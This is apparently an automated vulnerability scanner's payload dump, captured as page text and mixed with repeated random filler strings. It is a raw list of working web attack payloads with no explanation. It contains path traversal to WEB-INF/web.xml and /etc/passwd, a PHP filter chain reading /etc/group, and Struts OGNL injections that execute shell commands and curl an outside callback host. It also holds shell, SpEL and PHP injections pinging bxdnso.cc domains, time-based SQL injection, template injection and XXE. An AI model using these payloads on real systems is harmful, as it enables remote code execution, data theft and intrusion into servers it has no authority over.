../../../../../../../../../../../../../../../../../../WEB-INF/web.xml%00hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG»|(nslookup -q=ptr d47bthm6ujds72oi4ltg8u59pbbdphstg.b.bxdnso.cc||curl http://d47bthm6ujds72oi4ltg8u59pbbdphstg.b.bxdnso.cc)|»
php://filter/convert.base64-encode||string.rot13|dechunk|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|/resource=/etc/group
‘ + (#_memberAccess[«allowStaticMethodAccess»]=true,#foo=new java.lang.Boolean(«false») ,#context[«xwork.MethodAccessor.denyMethodExecution»]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(«cmd.exe /c set /a 147 – 58695565»).getInputStream())) + ‘
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{«curl»,»http://d47bthm6ujds72oi4ltgt8sii1hqzfmpk.b.bxdnso.cc»}).start())}
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘expr 427 – 43741683’).getInputStream())).(#q)}
lif3qe
HtVsvILRBWHZfwGbpDdgOZhntzyIBQ
YaXtHrOvxGewwgtKXitMobWjgNexdb
nuRGIWYlQpozFuNIgGvtWdMkdVgbiB
xXXBmsCpEucWoHPyogLwzgKtgzDGHf
MbWZIVUYIewwgkxoSELxtbTBUDefNx
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
file:///etc/passwd
url:file:///etc/passwd
file:///etc/passwdhGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG|expr 275345680800 – 6402715831
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
expr 496395860380 – 3510750326
‘;gethostbyname(‘vsvnvw.’.’d47bthm6ujds72oi4ltg4uattawropgko.b.bxdnso.cc’);$lzs=’
‘.gethostbyname(‘fqngqu.’.’d47bthm6ujds72oi4ltgdgnnb5wcr7sjr.b.bxdnso.cc’).’
#{T(java.net.InetAddress).getByName(«svcmww.»+»d47bthm6ujds72oi4ltg879tbit5erpn5.b.bxdnso.cc»)}
${T(java.net.InetAddress).getByName(«yrndqx.»+»d47bthm6ujds72oi4ltgdgmpb4n7nxdum.b.bxdnso.cc»)}::x
O:3:»PDO»:0:{}
../../../../../../../../../../../../../../../../../../WEB-INF/web.xml
../../../../../../../../../../../../../../../../../../WEB-INF/web.xml%00hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG»|(nslookup -q=ptr d47bthm6ujds72oi4ltg8u59pbbdphstg.b.bxdnso.cc||curl http://d47bthm6ujds72oi4ltg8u59pbbdphstg.b.bxdnso.cc)|»
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
..//WEB-INF/web.xml
hGQTRoUFkKoQXnzaXqddDmipUSYHlG{{575371318740-5299165122}}
<!DOCTYPE ANY []>&content;
../../../..//WEB-INF/web.xml
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
php://filter/convert.base64-encode||string.rot13|dechunk|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|/resource=/etc/group
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
‘ + (#_memberAccess[«allowStaticMethodAccess»]=true,#foo=new java.lang.Boolean(«false») ,#context[«xwork.MethodAccessor.denyMethodExecution»]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(«cmd.exe /c set /a 147 – 58695565»).getInputStream())) + ‘
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
%40d47bthm6ujds72oi4ltg67xoiatf8kctp.b.bxdnso.cc
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG’ waitfor delay ‘0:0:2’–
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{«curl»,»http://d47bthm6ujds72oi4ltgt8sii1hqzfmpk.b.bxdnso.cc»}).start())}
hGQTRoUFkKoQXnzaXqddDmipUSYHlG»;waitfor delay ‘0:0:2’–
hGQTRoUFkKoQXnzaXqddDmipUSYHlG where 1=(SELECT 4564 FROM PG_SLEEP(2))–
hGQTRoUFkKoQXnzaXqddDmipUSYHlG’);(SELECT 4564 FROM PG_SLEEP(2))–
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘expr 427 – 43741683’).getInputStream())).(#q)}
DBMS_PIPE.RECEIVE_MESSAGE(‘bbp’,2)
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG
hGQTRoUFkKoQXnzaXqddDmipUSYHlG